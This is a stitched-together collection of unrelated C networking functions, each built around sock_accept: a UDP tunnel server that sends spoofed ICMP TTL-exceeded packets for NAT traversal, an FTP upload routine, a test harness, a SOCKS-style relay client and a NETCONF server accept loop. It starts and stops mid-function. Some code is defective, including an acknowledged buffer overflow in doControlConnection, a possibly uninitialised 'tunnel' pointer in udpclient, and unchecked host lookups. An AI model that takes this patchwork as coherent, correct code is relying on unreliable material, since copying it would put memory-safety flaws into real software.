0, sizeof(struct sockaddr_in)); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; rsrc.sin_family = AF_INET; rsrc.sin_port = 0; rsrc.sin_addr.s_addr = timeexc_ip; /* IP of destination */ memset(&src, 0, sizeof(struct sockaddr_in)); hp = gethostbyname(phost); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; src.sin_family = AF_INET; src.sin_port = 0; src.sin_addr.s_addr = timeexc_ip; /* IP of where the fake packet (echo request) was going */ hp = gethostbyname("3.3.3.3"); memcpy(&dest.sin_addr, hp->h_addr, hp->h_length); inet_pton(AF_INET, "3.3.3.3", &(dest.sin_addr)); srand(time(NULL)); next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s\n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr))); } FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); /* open raw socket */ create_icmp_socket(&icmp_sock); if(icmp_sock == -1) { printf("[main] can't open raw socket\n"); exit(1); } while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; if(++timeexc==100) { timeexc=0; /* Send ICMP TTL exceeded to penetrate remote NAT */ send_icmp(icmp_sock, &rsrc, &src, &dest, 0); } read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; timeexc=0; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); udp_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); client = client_create(next_req_id++, tcp_sock, udp_sock, 1); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client); client_free(client); client = NULL; client_send_hello(client2, rhost, rport, CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for pending handshakes from UDP connection */ for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) { client = list_get_at(conn_clients, i); if(client_udp_fd_isset(client, &read_fds)) { num_fds--; tmp_req_id = CLIENT_ID(client); ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(tmp_req_id, conn_clients, &client_fds); i--; } else { client = list_add(clients, client); list_delete_at(conn_clients, i); client_remove_udp_fd_from_set(client, &read_fds); i--; } } } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) { client = list_get_at(clients, i); /* Check for UDP data */ if(client_udp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; /* Don't go to check the TCP connection */ } } /* Check for TCP data */ if(client_tcp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_tcp_data(client); if(ret == 0) ret = client_send_udp_data(client); #if 0 /* if udptunnel is taking up 100% of cpu, try including this */ else if(ret == 1) #ifdef _WIN32 _sleep(1); #else usleep(1000); /* Quick hack so doesn't use 100% of CPU if data wasn't ready yet (waiting for ack) */ #endif /*WIN32*/ #endif /*0*/ if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_sock) { sock_close(udp_sock); sock_free(udp_sock); } if(clients) list_free(clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
/** * Create a new socket accepting a new connection from a listening socket. * @param main Listening socket. * @param octx optional ssl global context * @return the newly allocated Sock */ Sock * Sock_accept(Sock *s, void * octx) { int res = -1; char remote_host[128]; /*Unix Domain is largest*/ char local_host[128]; /*Unix Domain is largest*/ int remote_port = -1; int local_port = -1; Sock *new_s = NULL; struct sockaddr *sa_p = NULL; socklen_t sa_len = 0; #if ENABLE_SSL SSL_CTX * ctx = octx; SSL *ssl_con = NULL; #endif if (!s) return NULL; if ((res = sock_accept(s->fd)) < 0) { net_log(NET_LOG_ERR, "System error in sock_accept().\n"); return NULL; } #if ENABLE_SSL if(ctx) { if( !(ssl_con = SSL_sock_accept(res, ctx)) ) { net_log(NET_LOG_ERR, "Unable to accept SSL connection.\n"); sock_close(res); return NULL; } } #endif if (!(new_s = calloc(1, sizeof(Sock)))) { net_log(NET_LOG_FATAL, "Unable to allocate a Sock struct in Sock_accept().\n"); #if ENABLE_SSL if(ctx) SSL_close_connection(ssl_con, res); #endif sock_close(res); return NULL; } new_s->fd = res; new_s->socktype = s->socktype; new_s->flags = s->flags; #if ENABLE_SSL if(ctx) new_s->ssl = ssl_con; #endif sa_p = (struct sockaddr *) &(new_s->remote_stg); sa_len = sizeof(struct sockaddr_storage); if(getpeername(res, sa_p, &sa_len)) { net_log(NET_LOG_ERR, "Unable to get remote address in Sock_accept().\n"); Sock_close(new_s); return NULL; } if(!sock_ntop_host(sa_p, remote_host, sizeof(remote_host))) memset(remote_host, 0, sizeof(remote_host)); if (!(new_s->remote_host = strdup(remote_host))) { net_log(NET_LOG_FATAL, "Unable to allocate remote host in Sock_accept().\n"); Sock_close(new_s); return NULL; } remote_port = sock_get_port(sa_p); if(remote_port < 0) { net_log(NET_LOG_ERR, "Unable to get remote port in Sock_accept().\n"); Sock_close(new_s); return NULL; } else new_s->remote_port = ntohs(remote_port); sa_p = (struct sockaddr *) &(new_s->remote_stg); sa_len = sizeof(struct sockaddr_storage); if(getsockname(res, sa_p, &sa_len)) { net_log(NET_LOG_ERR, "Unable to get remote port in Sock_accept().\n"); Sock_close(new_s); return NULL; } if(!sock_ntop_host(sa_p, local_host, sizeof(local_host))) memset(local_host, 0, sizeof(local_host)); if (!(new_s->local_host = strdup(local_host))) { net_log(NET_LOG_FATAL, "Unable to allocate local host in Sock_accept().\n"); Sock_close(new_s); return NULL; } local_port = sock_get_port(sa_p); if(local_port < 0) { net_log(NET_LOG_ERR, "Unable to get local port in Sock_accept().\n"); Sock_close(new_s); return NULL; } else new_s->local_port = ntohs(local_port); net_log(NET_LOG_DEBUG, "Socket accepted between local=\"%s\":%u and " "remote=\"%s\":%u.\n", new_s->local_host, new_s->local_port, new_s->remote_host, new_s->remote_port); return new_s; }
static void record(int skt) { char mode[] = { RECORD }; max_fd = skt; FD_ZERO(&open_fds); FD_SET(skt, &open_fds); while (1) { int fd, nfds; fd_set read_fds = open_fds, error_fds = open_fds; char buf[MAX_CONCUR_MSG]; if (0 > (nfds = select(max_fd+1, &read_fds, NULL, &error_fds, 0))) { if (errno == EINTR) continue; fprintf(stderr, "# concurs: select failed: %s\n", strerror(errno)); exit(1); } if (FD_ISSET(skt, &read_fds)) { --nfds; fd = sock_accept(skt); if (0 >= sock_recv(fd, buf, sizeof buf)) { fprintf(stderr, "concurs: recv new player failed: %s\n", strerror(errno)); } else { sock_send(fd, mode, sizeof(mode)); playerv[fd] = strdup(buf); printf("%s:%s\n", buf, buf); FD_SET(fd, &open_fds); if (max_fd < fd) max_fd = fd; } } for (fd = skt+1; nfds > 0; ++fd) { int endit = 0, ret; if (FD_ISSET(fd, &read_fds)) { --nfds; ret = sock_recv(fd, buf, sizeof(buf)); if (ret < 0) fprintf(stderr, "concurs: error reading %s\n", playerv[fd]); if (ret > 0) printf("%s:%.*s\n", playerv[fd], ret, buf); else endit = 1; } if (FD_ISSET(fd, &error_fds)) { --nfds; endit = 1; fprintf(stderr, "concurs: error from %s\n", playerv[fd]); } if (endit) { close(fd); FD_CLR(fd, &open_fds); free(playerv[fd]); playerv[fd] = NULL; while (max_fd > skt && !playerv[max_fd]) --max_fd; } } } }
connection_t * get_connection (sock_t *sock) { int sockfd; socklen_t sin_len; connection_t *con; fd_set rfds; struct timeval tv; int i, maxport = 0; struct sockaddr_in *sin = (struct sockaddr_in *)nmalloc(sizeof(struct sockaddr_in)); if (!sin) { write_log (LOG_DEFAULT, "WARNING: Weird stuff in get_connection. nmalloc returned NULL sin"); return NULL; } /* setup sockaddr structure */ sin_len = sizeof(struct sockaddr_in); memset(sin, 0, sin_len); /* try to accept a connection */ FD_ZERO(&rfds); for (i = 0; i < MAXLISTEN; i++) { if (sock_valid (sock[i])) { FD_SET(sock[i], &rfds); if (sock[i] > maxport) maxport = sock[i]; } } maxport += 1; tv.tv_sec = 0; tv.tv_usec = 30000; if (select(maxport, &rfds, NULL, NULL, &tv) > 0) { for (i = 0; i < MAXLISTEN; i++) { if (sock_valid (sock[i]) && FD_ISSET(sock[i], &rfds)) break; } } else { nfree(sin); return NULL; } sockfd = sock_accept(sock[i], (struct sockaddr *)sin, &sin_len); if (sockfd >= 0) { con = create_connection(); if (!sin) { xa_debug (1, "ERROR: NULL sockaddr struct, wft???"); return NULL; } con->host = create_malloced_ascii_host(&(sin->sin_addr)); con->sock = sockfd; con->sin = sin; con->sinlen = sin_len; xa_debug (2, "DEBUG: Getting new connection on socket %d from host %s", sockfd, con->host ? con->host : "(null)"); con->hostname = NULL; con->headervars = NULL; con->id = new_id (); con->connect_time = get_time (); #ifdef HAVE_LIBWRAP if (!sock_check_libwrap(sockfd, unknown_connection_e)) { kick_not_connected (con, "Access Denied (tcp wrappers) [generic connection]"); return NULL; } #endif return con; } if (!is_recoverable (errno)) xa_debug (1, "WARNING: accept() failed with on socket %d, max: %d, [%d:%s]", sock[i], maxport, errno, strerror(errno)); nfree (sin); return NULL; }
void *doControlConnection(void *parameters) { int AddressFamily = AF_INET; //use IPv4 int TransportProtocol = SOCK_STREAM; //use TCP char ErrBuf[1024]; char DataBuffer[1024]; int ChildSocket; // keeps the socket ID for connections from clients struct addrinfo Hints; // temporary struct to keep settings needed to open the new socket struct addrinfo *AddrInfo; // keeps the addrinfo chain; required to open a new socket struct sockaddr_storage From; // temp variable that keeps the parameters of the incoming connection int ReadBytes, WrittenBytes; int ServerSocket; // Prepare to open a new server socket memset(&Hints, 0, sizeof(struct addrinfo)); Hints.ai_family= AddressFamily; Hints.ai_socktype= TransportProtocol; // Open a TCP/UDP connection Hints.ai_flags = AI_PASSIVE; // This is a server: ready to bind() a socket if (sock_initaddress (NULL, nf_params.tcp_port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { fprintf(logFile,"%s Error resolving given port (%s): %s\n",module_name, nf_params.tcp_port,ErrBuf); exit(EXIT_FAILURE); } if ( (ServerSocket= sock_open(AddrInfo, 1, 10, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); fprintf(logFile,"%s Cannot opening the socket: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); while(1) { if ( (ChildSocket= sock_accept(ServerSocket, &From, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { fprintf(logFile,"%s Error when accepting a new connection: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } ReadBytes= sock_recv(ChildSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 0/*no timeout*/, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { fprintf(logFile,"%s Error reading data: %s\n",module_name, ErrBuf); exit(EXIT_FAILURE); } // Terminate buffer, just for printing purposes // Warning: this can originate a buffer overflow DataBuffer[ReadBytes]= 0; fprintf(logFile,"%sData received (%d bytes):\n",module_name, ReadBytes); fprintf(logFile,"%s %s\n",module_name,DataBuffer); char answer[1024]; sprintf(answer,"Greeting from network function\"%s\"",nf_params.nf_name); fprintf(logFile,"%s Answer to be sent: %s\n",module_name,answer); WrittenBytes= sock_send(ChildSocket, answer, strlen(answer), ErrBuf, sizeof(ErrBuf)); if (WrittenBytes == sockFAILURE) { fprintf(logFile,"%s Error sending data: %s",module_name, ErrBuf); exit(EXIT_FAILURE); } sock_close(ChildSocket,ErrBuf,sizeof(ErrBuf)); } }
static int ftp_send(const char *path, FILE *fp, putmode_t how, transfer_mode_t mode, ftp_transfer_func hookf) { int r; long rp = ftp->restart_offset; ftp->restart_offset = 0L; if(how == putUnique && !ftp->has_stou_command) return -1; if (how == putTryUnique && !ftp->has_stou_command) how = putNormal; reset_transfer_info(); ftp->ti.transfer_is_put = true; if(ftp_init_transfer() != 0) return -1; ftp_type(mode); if(rp > 0) { /* fp is assumed to be fseek'd already */ ftp_cmd("REST %ld", rp); if(ftp->code != ctContinue) return -1; ftp->ti.size = rp; ftp->ti.restart_size = rp; } ftp_set_tmp_verbosity(vbError); switch (how) { case putAppend: ftp_cmd("APPE %s", path); break; case putTryUnique: case putUnique: ftp_cmd("STOU %s", path); if (ftp->fullcode == 502 || ftp->fullcode == 504) { ftp->has_stou_command = false; if (how == putTryUnique) how = putNormal; else break; } else break; default: ftp_cmd("STOR %s", path); break; } if(ftp->code != ctPrelim) return -1; if(how == putUnique) { /* try to figure out remote filename */ char *e = strstr(ftp->reply, " for "); if(e) { int l; e += 5; l = strlen(e); if(l) { free(ftp->ti.local_name); if(*e == '\'') ftp->ti.local_name = xstrndup(e+1, l-3); else ftp->ti.local_name = xstrndup(e, l-1); ftp_trace("parsed unique filename as '%s'\n", ftp->ti.local_name); } } } if(!sock_accept(ftp->data, "w", ftp_is_passive())) { ftp_err(_("data connection not accepted\n")); return -1; } ftp_cache_flush_mark_for(path); if(mode == tmBinary) r = FILE_send_binary(fp, ftp->data); else r = FILE_send_ascii(fp, ftp->data); sock_flush(ftp->data); sock_destroy(ftp->data); ftp->data = 0; if(r == 0) { transfer_finished(); ftp_read_reply(); ftp->ti.ioerror = (ftp->code != ctComplete); if(ftp->code != ctComplete) { ftp_trace("transfer failed\n"); return -1; } } else transfer_finished(); return 0; }
static void play(int skt, const char *file, int timeout) { char mode[] = { PLAY }; char *cp; char expect[MAX_CONCUR_NAME+1+MAX_CONCUR_MSG]; char actual[MAX_CONCUR_MSG]; MAP conh = map_create((map_diff*)strcmp, (map_hash*)fnv04, NULL); FILE *fp = fopen(file, "r"); fd_set fds; if (!fp) { fprintf(stderr, "error: cannot read %s\n", file); exit(2); } FD_ZERO(&fds); while (fgets(expect, sizeof expect, fp)) { int fd, ret; struct timeval to = { timeout, 0 }; for (cp = expect + strlen(expect); cp > expect && isspace(cp[-1]); *--cp = 0); if (!expect[0]) continue; if (expect[0] == '#') { if (expect[1] != ':') fputs(expect, stdout); continue; } if (!(cp = strchr(expect, ':'))) { fprintf(stderr, "concurs: invalid script line:\n%s\n", expect); continue; } *cp++ = 0; while (!(fd = (int)(uintptr_t)map_get(conh, expect))) { FD_SET(skt, &fds); if (timeout && 0 > select(skt+1, &fds, NULL, NULL, &to)) { fprintf(stderr, "concurs: timed out waiting for %s:connect\n", expect); exit(1); } FD_CLR(skt, &fds); fd = sock_accept(skt); FD_SET(fd, &open_fds); cp = playerv[fd] = strdup(expect); map_set(conh, playerv[fd], (void*)(uintptr_t)fd); } FD_SET(fd, &fds); if (timeout && 0 > select(skt+1, &fds, NULL, NULL, &to)) { fprintf(stderr, "concurs: error waiting for %s:%s\n", expect, cp); exit(1); } FD_CLR(fd, &fds); if (0 >= (ret = sock_recv(fd, actual, sizeof actual))) { close(fd); FD_CLR(fd, &open_fds); map_del(conh, playerv[fd]); free(playerv[fd]); playerv[fd] = NULL; } sock_send(fd, mode, sizeof(mode)); //REVISIT: select(nowait) on all open fds and report who was blocked. printf("%s:%s\n", expect, actual); if (strcmp(cp, actual)) { fprintf(stderr, "concurs: broken\n"); exit(1); } } }
int udpclient(int argc, char *argv[]) { list_t *clients = NULL; list_t *conn_clients; client_t *client; client_t *tunnel; client_t *client2; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; char taddrstr[ADDRSTRLEN]; socket_t *tcp_sock = NULL; socket_t *udp_sock = NULL; socket_t *next_sock = NULL; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; // uint16_t tmp_req_id; int num_fds; uint32_t sourceid; int ret; int i; signal(SIGINT, &signal_handler); i = 0; lhost = (argc - i == 5) ? NULL : argv[i++]; lport = argv[i++]; rport = argv[i++]; phost = argv[i++]; pport = argv[i++]; relays = atoi(argv[i++]); if(debug_level >= DEBUG_LEVEL1) printf("relays need %d \n",relays); /* Check validity of ports (can't check ip's b/c might be host names) */ ERROR_GOTO(!isnum(lport), "Invalid listen port.", done); ERROR_GOTO(!isnum(rport), "Invalid recv port.", done); ERROR_GOTO(!isnum(pport), "Invalid inter port.", done); //ERROR_GOTO(!isnum(rport), "Invalid remote port.", done); srand(inet_addr(lhost)); localid=(rand()); generate_rsakey(lhost); if(debug_level >= DEBUG_LEVEL1) { printf("local id %d \n",localid); } next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(conn_clients == NULL, "Error creating conn_clients list.", done); relay_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(relay_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); udp_serv = sock_create(lhost, rport,ipver, SOCK_TYPE_UDP, 1, 1); ERROR_GOTO(udp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s,UDP %s \n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr)),sock_get_str(udp_serv, taddrstr, sizeof(taddrstr))); } next_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); msg_send_req(next_sock,lhost,rport,0,localid); sock_free(next_sock); next_sock = NULL; FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); FD_SET(SOCK_FD(udp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); if(tcp_sock == NULL) continue; if(SelectMethod(tcp_sock->fd)==-1) { if(debug_level >= DEBUG_LEVEL1) printf("socks version error\n"); return-1; } rhost=ParseCommand(tcp_sock->fd); if (0<LIST_LEN(relay_clients)) { tunnel = list_get_at(relay_clients, 0); udp_sock =sock_copy(CLIENT_TCP_SOCK(tunnel)); SOCK_FD(udp_sock)=socket(AF_INET, SOCK_DGRAM, 0); } if(udp_sock == NULL) { sock_close(tcp_sock); sock_free(tcp_sock); continue; } client = client_create(next_req_id++, localid, tcp_sock, udp_sock, 1); memcpy(client->rsakey,tunnel->rsakey,strlen(tunnel->rsakey)); printf("expid rsakey is %s",client->rsakey); if(debug_level >= DEBUG_LEVEL1) printf("create client id %d \n",CLIENT_ID(client)); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client, 1); client_free(client); client = NULL; if(debug_level >= DEBUG_LEVEL1) { sock_get_str(CLIENT_TCP_SOCK(client2), addrstr, sizeof(addrstr)); printf("tunnel(%d): local %s ",client2->sourceid, addrstr); sock_get_str(CLIENT_UDP_SOCK(client2), addrstr, sizeof(addrstr)); printf("to %s \n",addrstr); } client_send_hello(client2,rhost,CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); //client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for UDP data */ if(FD_ISSET(SOCK_FD(udp_serv), &read_fds)) { //ret = client_recv_udp_msg(client, data, sizeof(data), // &tmp_id, &tmp_type, &tmp_len,&sourceid); ret = msg_recv_msg(udp_serv, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len,&sourceid); if(debug_level >= DEBUG_LEVEL2) printf("recv msg from %d type %d %d bytes \n ",sourceid,tmp_type,tmp_len); if(ret == 0) ret = handle_message(tmp_id, tmp_type, data, tmp_len,sourceid,clients, conn_clients); /*if(ret < 0) { disconnect_and_remove_client(tmp_id, clients, &client_fds, 1); } */ } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); /* Check for TCP data */ if(num_fds > 0 && client_tcp_fd_isset(client, &read_fds)) { ret = client_recv_tcp_data(client); if(ret == -1) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } else if(ret == -2) { client_mark_to_disconnect(client); disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 0); } num_fds--; } /* send any TCP data that was ready */ ret = client_send_udp_data(client); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } /* Finally, send any udp data that's still in the queue */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_send_udp_data(client); if(ret < 0 || client_ready_to_disconnect(client)) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_serv) { sock_close(udp_serv); sock_free(udp_serv); } if(clients) list_free(clients); if(conn_clients) list_free(conn_clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
void listen_loop(int do_init) { struct client_struct* new_client; struct np_sock npsock = {.count = 0}; int ret; struct timespec ts; #ifdef NP_SSH ssh_bind sshbind = NULL; #endif #ifdef NP_TLS SSL_CTX* tlsctx = NULL; #endif /* Init */ if (do_init) { #ifdef NP_SSH np_ssh_init(); #endif #ifdef NP_TLS np_tls_init(); #endif if ((ret = pthread_create(&netopeer_state.data_tid, NULL, data_thread, NULL)) != 0) { nc_verb_error("%s: failed to create a thread (%s)", __func__, strerror(ret)); return; } if ((ret = pthread_create(&netopeer_state.netconf_rpc_tid, NULL, netconf_rpc_thread, NULL)) != 0) { nc_verb_error("%s: failed to create a thread (%s)", __func__, strerror(ret)); return; } } /* Main accept loop */ do { new_client = NULL; /* Binds change check */ if (netopeer_options.binds_change_flag) { /* BINDS LOCK */ pthread_mutex_lock(&netopeer_options.binds_lock); sock_cleanup(&npsock); sock_listen(netopeer_options.binds, &npsock); netopeer_options.binds_change_flag = 0; /* BINDS UNLOCK */ pthread_mutex_unlock(&netopeer_options.binds_lock); if (npsock.count == 0) { nc_verb_warning("Server is not listening on any address!"); } } #ifdef NP_SSH sshbind = np_ssh_server_id_check(sshbind); #endif #ifdef NP_TLS tlsctx = np_tls_server_id_check(tlsctx); #endif #ifndef DISABLE_CALLHOME /* Callhome client check */ if (callhome_client != NULL) { /* CALLHOME LOCK */ pthread_mutex_lock(&callhome_lock); new_client = callhome_client; callhome_client = NULL; /* CALLHOME UNLOCK */ pthread_mutex_unlock(&callhome_lock); } #endif /* Listen client check */ if (new_client == NULL) { new_client = sock_accept(&npsock); } /* New client full structure creation */ if (new_client != NULL) { /* Maximum number of sessions check */ if (netopeer_options.max_sessions > 0) { ret = 0; #ifdef NP_SSH ret += np_ssh_session_count(); #endif #ifdef NP_TLS ret += np_tls_session_count(); #endif if (ret >= netopeer_options.max_sessions) { nc_verb_error("Maximum number of sessions reached, droppping the new client."); new_client->to_free = 1; switch (new_client->transport) { #ifdef NP_SSH case NC_TRANSPORT_SSH: client_free_ssh((struct client_struct_ssh*)new_client); break; #endif #ifdef NP_TLS case NC_TRANSPORT_TLS: client_free_tls((struct client_struct_tls*)new_client); break; #endif default: nc_verb_error("%s: internal error (%s:%d)", __func__, __FILE__, __LINE__); } free(new_client); /* sleep to prevent clients from immediate connection retry */ usleep(netopeer_options.response_time*1000); continue; } } switch (new_client->transport) { #ifdef NP_SSH case NC_TRANSPORT_SSH: ret = np_ssh_create_client((struct client_struct_ssh*)new_client, sshbind); if (ret != 0) { new_client->to_free = 1; client_free_ssh((struct client_struct_ssh*)new_client); } break; #endif #ifdef NP_TLS case NC_TRANSPORT_TLS: ret = np_tls_create_client((struct client_struct_tls*)new_client, tlsctx); if (ret != 0) { new_client->to_free = 1; client_free_tls((struct client_struct_tls*)new_client); } break; #endif default: nc_verb_error("Client with an unknown transport protocol, dropping it."); new_client->to_free = 1; ret = 1; } /* client is not valid, some error occured */ if (ret != 0) { free(new_client); continue; } /* add the client into the global clients structure */ /* GLOBAL WRITE LOCK */ pthread_rwlock_wrlock(&netopeer_state.global_lock); client_append(&netopeer_state.clients, new_client); /* GLOBAL WRITE UNLOCK */ pthread_rwlock_unlock(&netopeer_state.global_lock); } } while (!quit && !restart_soft); /* Cleanup */ sock_cleanup(&npsock); #ifdef NP_SSH ssh_bind_free(sshbind); #endif #ifdef NP_TLS SSL_CTX_free(tlsctx); #endif if (!restart_soft) { if (clock_gettime(CLOCK_REALTIME, &ts) == -1) { nc_verb_warning("%s: failed to get time (%s)", strerror(errno)); } ts.tv_sec += THREAD_JOIN_QUIT_TIMEOUT; /* wait for all the clients to exit nicely themselves */ if ((ret = pthread_timedjoin_np(netopeer_state.netconf_rpc_tid, NULL, &ts)) != 0) { nc_verb_warning("%s: failed to join the netconf RPC thread (%s)", __func__, strerror(ret)); if (ret == ETIMEDOUT) { pthread_cancel(netopeer_state.netconf_rpc_tid); } } if ((ret = pthread_timedjoin_np(netopeer_state.data_tid, NULL, &ts)) != 0) { nc_verb_warning("%s: failed to join the SSH data thread (%s)", __func__, strerror(ret)); if (ret == ETIMEDOUT) { pthread_cancel(netopeer_state.data_tid); } } #ifdef NP_SSH np_ssh_cleanup(); #endif #ifdef NP_TLS np_tls_cleanup(); #endif } } int main(int argc, char** argv) { struct sigaction action; sigset_t block_mask; char *aux_string = NULL, path[PATH_MAX]; int next_option; int daemonize = 0, len; int listen_init = 1; struct np_module* netopeer_module = NULL, *server_module = NULL; /* initialize message system and set verbose and debug variables */ if ((aux_string = getenv(ENVIRONMENT_VERBOSE)) == NULL) { netopeer_options.verbose = NC_VERB_ERROR; } else { netopeer_options.verbose = atoi(aux_string); } aux_string = NULL; /* for sure to avoid unwanted changes in environment */ /* parse given options */ while ((next_option = getopt(argc, argv, OPTSTRING)) != -1) { switch (next_option) { case 'd': daemonize = 1; break; case 'h': print_usage(argv[0]); break; case 'v': netopeer_options.verbose = atoi(optarg); break; case 'V': print_version(argv[0]); break; default: print_usage(argv[0]); break; } } /* set signal handler */ sigfillset (&block_mask); action.sa_handler = signal_handler; action.sa_mask = block_mask; action.sa_flags = 0; sigaction(SIGINT, &action, NULL); sigaction(SIGQUIT, &action, NULL); sigaction(SIGABRT, &action, NULL); sigaction(SIGTERM, &action, NULL); sigaction(SIGHUP, &action, NULL); nc_callback_print(clb_print); /* normalize value if not from the enum */ if (netopeer_options.verbose > 